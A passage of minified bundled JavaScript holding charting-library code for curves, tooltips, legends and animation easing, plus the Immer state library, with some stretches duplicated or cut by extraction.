p(m)}i==="vertical"&&Oe(r)?f=Vf().y(oc).x1(ic).x0(r):Oe(r)?f=Vf().x(ic).y1(oc).y0(r):f=rR().x(ic).y(oc);var y=f.defined(Yd).curve(c);return y(u)},Cx=e=>{var{className:t,points:n,path:r,pathRef:i}=e,l=Jc();if((!n||!n.length)&&!r)return null;var c={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||l,connectNulls:e.connectNulls},u=n&&n.length?WY(c):r;return v.createElement("path",X0({},Ur(e),AF(e),{className:Ye("recharts-curve",t),d:u===null?void 0:u,ref:i}))},XY=["x","y","top","left","width","height","className"];function Z0(){return Z0=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(l,",").concat(t,"h").concat(n),aG=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:l=0,height:c=0,className:u}=e,f=tG(e,XY),h=ZY({x:t,y:n,top:r,left:i,width:l,height:c},f);return!Oe(t)||!Oe(n)||!Oe(l)||!Oe(c)||!Oe(r)||!Oe(i)?null:v.createElement("path",Z0({},ur(h),{className:Ye("recharts-cross",u),d:rG(t,n,l,c,r,i)}))};function iG(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function fT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function dT(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),CD=(e,t,n)=>e.map(r=>"".concat(cG(r)," ").concat(t,"ms ").concat(n)).join(","),uG=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Pc=(e,t)=>Object.keys(t).reduce((n,r)=>dT(dT({},n),{},{[r]:e(r,t[r])}),{});function hT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dt(e){for(var t=1;te+(t-e)*n,Q0=e=>{var{from:t,to:n}=e;return t!==n},_D=(e,t,n)=>{var r=Pc((i,l)=>{if(Q0(l)){var[c,u]=e(l.from,l.to,l.velocity);return Dt(Dt({},l),{},{from:c,velocity:u})}return l},t);return n<1?Pc((i,l)=>Q0(l)&&r[i]!=null?Dt(Dt({},l),{},{velocity:Gd(l.velocity,r[i].velocity,n),from:Gd(l.from,r[i].from,n)}):l,t):_D(e,r,n-1)};function pG(e,t,n,r,i,l){var c,u=r.reduce((y,x)=>Dt(Dt({},y),{},{[x]:{from:e[x],velocity:0,to:t[x]}}),{}),f=()=>Pc((y,x)=>x.from,u),h=()=>!Object.values(u).filter(Q0).length,p=null,m=y=>{c||(c=y);var x=y-c,S=x/n.dt;u=_D(n,u,S),i(Dt(Dt(Dt({},e),t),f())),c=y,h()||(p=l.setTimeout(m))};return()=>(p=l.setTimeout(m),()=>{var y;(y=p)===null||y===void 0||y()})}function mG(e,t,n,r,i,l,c){var u=null,f=i.reduce((m,y)=>{var x=e[y],S=t[y];return x==null||S==null?m:Dt(Dt({},m),{},{[y]:[x,S]})},{}),h,p=m=>{h||(h=m);var y=(m-h)/r,x=Pc((w,O)=>Gd(...O,n(y)),f);if(l(Dt(Dt(Dt({},e),t),x)),y<1)u=c.setTimeout(p);else{var S=Pc((w,O)=>Gd(...O,n(1)),f);l(Dt(Dt(Dt({},e),t),S))}};return()=>(u=c.setTimeout(p),()=>{var m;(m=u)===null||m===void 0||m()})}const vG=(e,t,n,r,i,l)=>{var c=uG(e,t);return n==null?()=>(i(Dt(Dt({},e),t)),()=>{}):n.isStepper===!0?pG(e,t,n,c,i,l):mG(e,t,n,r,c,i,l)};var Wd=1e-4,TD=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],ND=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),pT=(e,t)=>n=>{var r=TD(e,t);return ND(r,n)},gG=(e,t)=>n=>{var r=TD(e,t),i=[...r.map((l,c)=>l*c).slice(1),0];return ND(i,n)},yG=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(l=>parseFloat(l));return[i[0],i[1],i[2],i[3]]},bG=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=pT(e,n),l=pT(t,r),c=gG(e,n),u=h=>h>1?1:h<0?0:h,f=h=>{for(var p=h>1?1:h,m=p,y=0;y<8;++y){var x=i(m)-p,S=c(m);if(Math.abs(x-p)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,l=(c,u,f)=>{var h=-(c-u)*n,p=f*r,m=f+(h-p)*i/1e3,y=f*i/1e3+c;return Math.abs(y-u){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return mT(e);case"spring":return wG();default:if(e.split("(")[0]==="cubic-bezier")return mT(e)}return typeof e=="function"?e:null};function OG(e){var t,n=()=>null,r=!1,i=null,l=c=>{if(!r){if(Array.isArray(c)){if(!c.length)return;var u=c,[f,...h]=u;if(typeof f=="number"){i=e.setTimeout(l.bind(null,h),f);return}l(f),i=e.setTimeout(l.bind(null,h));return}typeof c=="string"&&(t=c,n(t)),typeof c=="object"&&(t=c,n(t)),typeof c=="function"&&c()}};return{stop:()=>{r=!0},start:c=>{r=!1,i&&(i(),i=null),l(c)},subscribe:c=>(n=c,()=>{n=()=>null}),getTimeoutController:()=>e}}class EG{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,l=c=>{c-r>=n?t(c):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(l))};return i=requestAnimationFrame(l),()=>{i!=null&&cancelAnimationFrame(i)}}}function AG(){return OG(new EG)}var CG=v.createContext(AG);function _G(e,t){var n=v.useContext(CG);return v.useMemo(()=>t??n(e),[e,t,n])}var TG=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),mp={isSsr:TG()},NG={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},vT={t:0},My={t:1};function vp(e){var t=pn(e,NG),{isActive:n,canBegin:r,duration:i,easing:l,begin:c,onAnimationEnd:u,onAnimationStart:f,children:h}=t,p=n==="auto"?!mp.isSsr:n,m=_G(t.animationId,t.animationManager),[y,x]=v.useState(p?vT:My),S=v.useRef(null);return v.useEffect(()=>{p||x(My)},[p]),v.useEffect(()=>{if(!p||!r)return Gc;var w=vG(vT,My,SG(l),i,x,m.getTimeoutController()),O=()=>{S.current=w()};return m.start([f,c,O,i,u]),()=>{m.stop(),S.current&&S.current(),u()}},[p,r,i,l,c,f,u,m]),h(y.t)}function gp(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=v.useRef(Ac(t)),r=v.useRef(e);return r.current!==e&&(n.current=Ac(t),r.current=e),n.current}var MG=["radius"],jG=["radius"],gT,yT,bT,xT,wT,ST,OT,ET,AT,CT;function _T(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function TT(e){for(var t=1;t{var l=yi(n),c=yi(r),u=Math.min(Math.abs(l)/2,Math.abs(c)/2),f=c>=0?1:-1,h=l>=0?1:-1,p=c>=0&&l>=0||c<0&&l<0?1:0,m;if(u>0&&i instanceof Array){for(var y=[0,0,0,0],x=0,S=4;xu?u:i[x];m=gt(gT||(gT=Pr(["M",",",""])),e,t+f*y[0]),y[0]>0&&(m+=gt(yT||(yT=Pr(["A ",",",",0,0,",",",",",""])),y[0],y[0],p,e+h*y[0],t)),m+=gt(bT||(bT=Pr(["L ",",",""])),e+n-h*y[1],t),y[1]>0&&(m+=gt(xT||(xT=Pr(["A ",",",",0,0,",`, + height and width.`,P,R,i,l,c,u,n),v.createElement("div",{id:m?"".concat(m):void 0,className:Ye("recharts-responsive-container",y),style:X_(X_({},S),{},{width:i,height:l,minWidth:c,minHeight:u,maxHeight:f}),ref:w},v.createElement("div",{style:lY({width:i,height:l})},v.createElement(hD,{width:P,height:R},h)))}),pY=v.forwardRef((e,t)=>{var n=Ox();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=sY({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:l,calculatedHeight:c}=fD(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return Oe(l)&&Oe(c)?v.createElement(hD,{width:l,height:c},e.children):v.createElement(hY,U0({},e,{width:r,height:i,ref:t}))});function pD(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var up=()=>{var e,t=Vn(),n=we(WK),r=we(cp),i=(e=we(sp))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},mY={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},vY=()=>{var e;return(e=we(kt))!==null&&e!==void 0?e:mY},gY=()=>we(Pa),yY=()=>we(Ra),Fe=e=>e.layout.layoutType,Jc=()=>we(Fe),bY=()=>{var e=Jc();return e!==void 0},fp=e=>{var t=ft(),n=Vn(),{width:r,height:i}=e,l=Ox(),c=r,u=i;return l&&(c=l.width>0?l.width:r,u=l.height>0?l.height:i),v.useEffect(()=>{!n&&Si(c)&&Si(u)&&t(xK({width:c,height:u}))},[t,n,c,u]),null},mD=Symbol.for("immer-nothing"),Z_=Symbol.for("immer-draftable"),qn=Symbol.for("immer-state");function xr(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Nc=Object.getPrototypeOf;function kl(e){return!!e&&!!e[qn]}function fo(e){return e?vD(e)||Array.isArray(e)||!!e[Z_]||!!e.constructor?.[Z_]||eu(e)||hp(e):!1}var xY=Object.prototype.constructor.toString(),Q_=new WeakMap;function vD(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Q_.get(n);return r===void 0&&(r=Function.toString.call(n),Q_.set(n,r)),r===xY}function Fd(e,t,n=!0){dp(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function dp(e){const t=e[qn];return t?t.type_:Array.isArray(e)?1:eu(e)?2:hp(e)?3:0}function H0(e,t){return dp(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function gD(e,t,n){const r=dp(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function wY(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function eu(e){return e instanceof Map}function hp(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function q0(e,t){if(eu(e))return new Map(e);if(hp(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=vD(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[qn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Object.defineProperties(e,{set:Qf,add:Qf,clear:Qf,delete:Qf}),Object.freeze(e),t&&Object.values(e).forEach(n=>Ex(n,!0))),e}function SY(){xr(2)}var Qf={value:SY};function pp(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var OY={};function ho(e){const t=OY[e];return t||xr(0,e),t}var Mc;function yD(){return Mc}function EY(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function J_(e,t){t&&(ho("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function F0(e){V0(e),e.drafts_.forEach(AY),e.drafts_=null}function V0(e){e===Mc&&(Mc=e.parent_)}function eT(e){return Mc=EY(Mc,e)}function AY(e){const t=e[qn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function tT(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[qn].modified_&&(F0(t),xr(4)),fo(e)&&(e=Vd(t,e),t.parent_||Kd(t,e)),t.patches_&&ho("Patches").generateReplacementPatches_(n[qn].base_,e,t.patches_,t.inversePatches_)):e=Vd(t,n,[]),F0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==mD?e:void 0}function Vd(e,t,n){if(pp(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[qn];if(!i)return Fd(t,(l,c)=>nT(e,i,t,l,c,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Kd(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const l=i.copy_;let c=l,u=!1;i.type_===3&&(c=new Set(l),l.clear(),u=!0),Fd(c,(f,h)=>nT(e,i,l,f,h,n,u),r),Kd(e,l,!1),n&&e.patches_&&ho("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function nT(e,t,n,r,i,l,c){if(i==null||typeof i!="object"&&!c)return;const u=pp(i);if(!(u&&!c)){if(kl(i)){const f=l&&t&&t.type_!==3&&!H0(t.assigned_,r)?l.concat(r):void 0,h=Vd(e,i,f);if(gD(n,r,h),kl(h))e.canAutoFreeze_=!1;else return}else c&&n.add(i);if(fo(i)&&!u){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&u)return;Vd(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(eu(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Kd(e,i)}}}function Kd(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ex(t,n)}function CY(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:yD(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,l=Ax;n&&(i=[r],l=jc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,u}var Ax={get(e,t){if(t===qn)return e;const n=Wi(e);if(!H0(n,t))return _Y(e,n,t);const r=n[t];return e.finalized_||!fo(r)?r:r===_y(e.base_,t)?(Ty(e),e.copy_[t]=Y0(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=bD(Wi(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=_y(Wi(e),t),l=i?.[qn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(wY(n,i)&&(n!==void 0||H0(e.base_,t)))return!0;Ty(e),K0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return _y(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Ty(e),K0(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){xr(11)},getPrototypeOf(e){return Nc(e.base_)},setPrototypeOf(){xr(12)}},jc={};Fd(Ax,(e,t)=>{jc[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});jc.deleteProperty=function(e,t){return jc.set.call(this,e,t,void 0)};jc.set=function(e,t,n){return Ax.set.call(this,e[0],t,n,e[0])};function _y(e,t){const n=e[qn];return(n?Wi(n):e)[t]}function _Y(e,t,n){const r=bD(t,n);return r?"value"in r?r.value:r.get?.call(e.draft_):void 0}function bD(e,t){if(!(t in e))return;let n=Nc(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Nc(n)}}function K0(e){e.modified_||(e.modified_=!0,e.parent_&&K0(e.parent_))}function Ty(e){e.copy_||(e.copy_=q0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var TY=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const l=n;n=t;const c=this;return function(f=l,...h){return c.produce(f,p=>n.call(this,p,...h))}}typeof n!="function"&&xr(6),r!==void 0&&typeof r!="function"&&xr(7);let i;if(fo(t)){const l=eT(this),c=Y0(t,void 0);let u=!0;try{i=n(c),u=!1}finally{u?F0(l):V0(l)}return J_(l,r),tT(i,l)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===mD&&(i=void 0),this.autoFreeze_&&Ex(i,!0),r){const l=[],c=[];ho("Patches").generateReplacementPatches_(t,i,l,c),r(l,c)}return i}else xr(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(c,...u)=>this.produceWithPatches(c,f=>t(f,...u));let r,i;return[this.produce(t,n,(c,u)=>{r=c,i=u}),r,i]},typeof e?.autoFreeze=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof e?.useStrictShallowCopy=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof e?.useStrictIteration=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){fo(e)||xr(8),kl(e)&&(e=NY(e));const t=eT(this),n=Y0(e,void 0);return n[qn].isManual_=!0,V0(t),n}finishDraft(e,t){const n=e&&e[qn];(!n||!n.isManual_)&&xr(9);const{scope_:r}=n;return J_(r,t),tT(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ho("Patches").applyPatches_;return kl(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Y0(e,t){const n=eu(e)?ho("MapSet").proxyMap_(e,t):hp(e)?ho("MapSet").proxySet_(e,t):CY(e,t);return(t?t.scope_:yD()).drafts_.push(n),n}function NY(e){return kl(e)||xr(10,e),xD(e)}function xD(e){if(!fo(e)||pp(e))return e;const t=e[qn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=q0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=q0(e,!0);return Fd(n,(i,l)=>{gD(n,i,xD(l))},r),t&&(t.finalized_=!1),n}var MY=new TY;MY.produce;var jY={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},wD=An({name:"legend",initialState:jY,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:ct()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:ct()},removeLegendPayload:{reducer(e,t){var n=Sr(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:ct()}}}),{setLegendSize:xue,setLegendSettings:wue,addLegendPayload:SD,replaceLegendPayload:OD,removeLegendPayload:ED}=wD.actions,PY=wD.reducer;function G0(){return G0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=" : ",contentStyle:n={},itemStyle:r={},labelStyle:i={},payload:l,formatter:c,itemSorter:u,wrapperClassName:f,labelClassName:h,label:p,labelFormatter:m,accessibilityLayer:y=!1}=e,x=()=>{if(l&&l.length){var M={padding:0,margin:0},P=(u?Xh(l,u):l).map((R,I)=>{if(R.type==="none")return null;var B=R.formatter||c||LY,{value:q,name:U}=R,V=q,oe=U;if(B){var le=B(q,U,R,I,l);if(Array.isArray(le))[V,oe]=le;else if(le!=null)V=le;else return null}var ce=Ny({display:"block",paddingTop:4,paddingBottom:4,color:R.color||"#000"},r);return v.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(I),style:ce},qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-name"},oe):null,qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,v.createElement("span",{className:"recharts-tooltip-item-value"},V),v.createElement("span",{className:"recharts-tooltip-item-unit"},R.unit||""))});return v.createElement("ul",{className:"recharts-tooltip-item-list",style:M},P)}return null},S=Ny({margin:0,padding:10,backgroundColor:"#fff",border:"1px solid #ccc",whiteSpace:"nowrap"},n),w=Ny({margin:0},i),O=!Vt(p),A=O?p:"",_=Ye("recharts-default-tooltip",f),T=Ye("recharts-tooltip-label",h);O&&m&&l!==void 0&&l!==null&&(A=m(p,l));var j=y?{role:"status","aria-live":"assertive"}:{};return v.createElement("div",G0({className:_,style:S},j),v.createElement("p",{className:T,style:w},v.isValidElement(A)?A:"".concat(A)),x())},ac="recharts-tooltip-wrapper",zY={visibility:"hidden"};function $Y(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ye(ac,{["".concat(ac,"-right")]:Oe(n)&&t&&Oe(t.x)&&n>=t.x,["".concat(ac,"-left")]:Oe(n)&&t&&Oe(t.x)&&n=t.y,["".concat(ac,"-top")]:Oe(r)&&t&&Oe(t.y)&&r0?i:0),m=n[r]+i;if(t[r])return c[r]?p:m;var y=f[r];if(y==null)return 0;if(c[r]){var x=p,S=y;return xO?Math.max(p,y):Math.max(m,y)}function BY(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function UY(e){var{allowEscapeViewBox:t,coordinate:n,offsetTopLeft:r,position:i,reverseDirection:l,tooltipBox:c,useTranslate3d:u,viewBox:f}=e,h,p,m;return c.height>0&&c.width>0&&n?(p=aT({allowEscapeViewBox:t,coordinate:n,key:"x",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.width,viewBox:f,viewBoxDimension:f.width}),m=aT({allowEscapeViewBox:t,coordinate:n,key:"y",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.height,viewBox:f,viewBoxDimension:f.height}),h=BY({translateX:p,translateY:m,useTranslate3d:u})):h=zY,{cssProperties:h,cssClasses:$Y({translateX:p,translateY:m,coordinate:n})}}function iT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jf(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,l;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(l=this.props.coordinate)===null||l===void 0?void 0:l.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:l,coordinate:c,hasPayload:u,isAnimationActive:f,offset:h,position:p,reverseDirection:m,useTranslate3d:y,viewBox:x,wrapperStyle:S,lastBoundingBox:w,innerRef:O,hasPortalFromProps:A}=this.props,{cssClasses:_,cssProperties:T}=UY({allowEscapeViewBox:n,coordinate:c,offsetTopLeft:h,position:p,reverseDirection:m,tooltipBox:{height:w.height,width:w.width},useTranslate3d:y,viewBox:x}),j=A?{}:Jf(Jf({transition:f&&t?"transform ".concat(r,"ms ").concat(i):void 0},T),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&u?"visible":"hidden",position:"absolute",top:0,left:0}),M=Jf(Jf({},j),{},{visibility:!this.state.dismissed&&t&&u?"visible":"hidden"},S);return v.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:_,style:M,ref:O},l)}}var AD=()=>{var e;return(e=we(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function X0(){return X0=Object.assign?Object.assign.bind():function(e){for(var t=1;tht(e.x)&&ht(e.y),cT=e=>e.base!=null&&Yd(e.base)&&Yd(e),ic=e=>e.x,oc=e=>e.y,GY=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Yc(e));return(n==="curveMonotone"||n==="curveBump")&&t?sT["".concat(n).concat(t==="vertical"?"Y":"X")]:sT[n]||Yh},WY=e=>{var{type:t="linear",points:n=[],baseLine:r,layout:i,connectNulls:l=!1}=e,c=GY(t,i),u=l?n.filter(Yd):n,f;if(Array.isArray(r)){var h=n.map((x,S)=>lT(lT({},x),{},{base:r[S]}));i==="vertical"?f=Vf().y(oc).x1(ic).x0(x=>x.base.x):f=Vf().x(ic).y1(oc).y0(x=>x.base.y);var p=f.defined(cT).curve(c),m=l?h.filter(cT):h;return p(m)}i==="vertical"&&Oe(r)?f=Vf().y(oc).x1(ic).x0(r):Oe(r)?f=Vf().x(ic).y1(oc).y0(r):f=rR().x(ic).y(oc);var y=f.defined(Yd).curve(c);return y(u)},Cx=e=>{var{className:t,points:n,path:r,pathRef:i}=e,l=Jc();if((!n||!n.length)&&!r)return null;var c={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||l,connectNulls:e.connectNulls},u=n&&n.length?WY(c):r;return v.createElement("path",X0({},Ur(e),AF(e),{className:Ye("recharts-curve",t),d:u===null?void 0:u,ref:i}))},XY=["x","y","top","left","width","height","className"];function Z0(){return Z0=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(l,",").concat(t,"h").concat(n),aG=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:l=0,height:c=0,className:u}=e,f=tG(e,XY),h=ZY({x:t,y:n,top:r,left:i,width:l,height:c},f);return!Oe(t)||!Oe(n)||!Oe(l)||!Oe(c)||!Oe(r)||!Oe(i)?null:v.createElement("path",Z0({},ur(h),{className:Ye("recharts-cross",u),d:rG(t,n,l,c,r,i)}))};function iG(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function fT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function dT(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),CD=(e,t,n)=>e.map(r=>"".concat(cG(r)," ").concat(t,"ms ").concat(n)).join(","),uG=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Pc=(e,t)=>Object.keys(t).reduce((n,r)=>dT(dT({},n),{},{[r]:e(r,t[r])}),{});function hT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dt(e){for(var t=1;te+(t-e)*n,Q0=e=>{var{from:t,to:n}=e;return t!==n},_D=(e,t,n)=>{var r=Pc((i,l)=>{if(Q0(l)){var[c,u]=e(l.from,l.to,l.velocity);return Dt(Dt({},l),{},{from:c,velocity:u})}return l},t);return n<1?Pc((i,l)=>Q0(l)&&r[i]!=null?Dt(Dt({},l),{},{velocity:Gd(l.velocity,r[i].velocity,n),from:Gd(l.from,r[i].from,n)}):l,t):_D(e,r,n-1)};function pG(e,t,n,r,i,l){var c,u=r.reduce((y,x)=>Dt(Dt({},y),{},{[x]:{from:e[x],velocity:0,to:t[x]}}),{}),f=()=>Pc((y,x)=>x.from,u),h=()=>!Object.values(u).filter(Q0).length,p=null,m=y=>{c||(c=y);var x=y-c,S=x/n.dt;u=_D(n,u,S),i(Dt(Dt(Dt({},e),t),f())),c=y,h()||(p=l.setTimeout(m))};return()=>(p=l.setTimeout(m),()=>{var y;(y=p)===null||y===void 0||y()})}function mG(e,t,n,r,i,l,c){var u=null,f=i.reduce((m,y)=>{var x=e[y],S=t[y];return x==null||S==null?m:Dt(Dt({},m),{},{[y]:[x,S]})},{}),h,p=m=>{h||(h=m);var 